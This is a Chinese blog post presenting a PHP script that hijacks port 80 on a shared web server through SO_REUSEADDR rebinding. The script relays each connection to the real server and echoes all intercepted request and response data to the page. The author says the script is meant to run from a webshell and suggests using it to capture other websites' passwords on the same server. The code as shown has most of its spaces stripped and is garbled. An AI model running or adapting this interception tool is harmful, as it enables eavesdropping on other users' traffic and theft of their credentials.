来源:老邪的博客
前几天刺在我们的maillist发了一个老外写的文章,大意是可以用php来实现数据的劫持和转发。我瞄了一下,确实可行,于是今天抽出了以前用来扯淡的时间,写了段代码验证了一下想法。老外的原文是一个PDF,有兴趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。其实关于这个的原理,我记得很早很早之前flashsky就在xfocus上面贴过通过SO_REUSEADDR实现端口重复绑定的,mix还写过一个guest权限嗅探密码的。我这里比较不同的是用php实现的,可以在webshell里面用,当然我没有测试过,我没shell。
需要注意的是,这个东西和以前的《PHP下实现端口复用/劫持》是完全不一样的,那个文章可以在这里找到:http://www.west999.com/info/html/wangluobiancheng/Phpbiancheng/20080224/22439.html。至于为什么不一样,我就不说了。
代码我注释得很详细,个人觉得写得还不错,不细说。这里大概说一下技术上的难点。首先是在web里面,没有多线程也没有多进程,但是每一个新连接进来就要去处理,应该怎么做?显然不能顺序执行,因为光accept那里就会被阻塞住的,而且后面每一个session也需要分别处理的。还好查手册发现经典的socket_select函数可用,有这个就好说了,专业实现多路复用的。
PHP代码如下,有详细注释。blog贴的,所以代码可能会掉些东西,其他的支持我就不提供了,看代码:
<?php
classselect
{
var$sockets;
//构造函数
functionselect($sockets)
{
$this->sockets=array();
foreach($socketsas$socket)
{
$this->add($socket);
}
}
functionadd($add_socket)
{
//array_push($this->sockets,$add_socket);
$this->sockets[]=$add_socket;
}
//利用临时数组来删除数组中的元素
functionremove($remove_socket)
{
$tmp_sockets=array();
foreach($this->socketsas$socket)
{
if($remove_socket!=$socket)
{
$tmp_sockets[]=$socket;
}
}
$this->sockets=$tmp_sockets;
}
//检查socket数组是否可读,传入超时时间,返回socket数组
functioncan_read($timeout)
{
$read=$this->sockets;
socket_select($read,$write=NULL,$except=NULL,$timeout);
return$read;
}
//检查socket数组是否可写,传入超时时间,返回socket数组
functioncan_write($timeout)
{
$write=$this->sockets;
socket_select($read=NULL,$write,$except=NULL,$timeout);
return$write;
}
}
//网页不超时
set_time_limit(0);
//即时输出数据,不缓冲
ob_end_clean();
ob_implicit_flush(true);
if(!isset($_GET["listen_ip"]))
{
exit;
}
if($_GET["listen_ip"]=="")
{
exit;
}
$listen_ip=$_GET["listen_ip"];
$listen_port=80;
//建立socket
$listen_sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
//设置重复绑定
socket_set_option($listen_sock,SOL_SOCKET,SO_REUSEADDR,1);
//明确指定绑定IP地址,优先获取数据
socket_bind($listen_sock,$listen_ip,$listen_port);
//开始监听
socket_listen($listen_sock);
echo"listenon".htmlentities($listen_ip).":".$listen_port."<br/>";
//创建socket数组,使用select来轮询
$check_socks=array($listen_sock);
//映射客户端socket和服务端socket
//$socket_maps1将客户端socket作为key
//$socket_maps2将服务端socket作为key
//以内存换速度,并且方便下面的搜索
$socket_maps1=array();
$socket_maps2=array();
//实例化select类
$select=newselect($check_socks);
while(true)
{
/*
print_r($socket_maps);
print"<br/>";
*/
//select轮询,超时2秒
foreach($select->can_read(1)as$socket)
{
//listen_sock可读,说明有人连接上来了
if($socket==$listen_sock)
{
//接受新连接,并加入到轮训数组
$new_client=socket_accept($listen_sock);
$select->add($new_client);
socket_getpeername($new_client,$ip,$port);
echo"Newclientconnectedip,$port<br/>";
//建立到真实服务器的socket
$server_sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_connect($server_sock,"127.0.0.1",$listen_port);
//建立真实服务器socket和真实客户端socket之间的映射关系
$socket_maps1[$new_client]=$server_sock;
$socket_maps2[$server_sock]=$new_client;
//添加到select轮询中
$select->add($server_sock);
//$listen_sock的可读数据是因为有新连接,已经处理了。暂时去掉,因为下面开始处理数据转发
//select->remove($listen_sock);
}
//其他socket可读,表示有数据需要中转
else
{
//读取数据,失败则从轮询socket中删除,并关闭socket
$client_data=@socket_read($socket,1024,PHP_NORMAL_READ);
if($client_data===false)
{
socket_close($socket);
$select->remove($socket);
echo"clientdisconnected.<br/>";
continue;
}
//如果socket在$socket_maps1的key中,说明是从客户端读到了数据
if(in_array($socket,array_keys($socket_maps1)))
{
//echo"readedfromclient.<br/>";
if(!socket_write($socket_maps1[$socket],$client_data))
{
socket_close($socket);
socket_close($socket_maps1[$socket]);
$select->remove($socket);
$select->remove($socket_maps1[$socket]);
print"Writetoservererror.<br/>";
}
printhtmlentities($client_data)."</b><br/>";
}
//否则如果socket在$socket_maps2的key中,说明是从真正的web服务器读到了数据
elseif(in_array($socket,array_keys($socket_maps2)))
{
//echo"readedfromserver.<br/>";
if(!socket_write($socket_maps2[$socket],$client_data))
{
socket_close($socket);
socket_close($socket_maps2[$socket]);
$select->remove($socket);
$select->remove($socket_maps2[$socket]);
print"Writetoclienterror.<br/>";
}
printhtmlentities($client_data)."</b><br/>";
}
}
}
}
?>
这个东西有什么作用?自由发挥。也许你有一个webshell,但是却想知道同一个服务器上面别人网站的密码……我是在windowsxp+apache测试的,据我所知windows2003默认已经不准重复绑定端口了。
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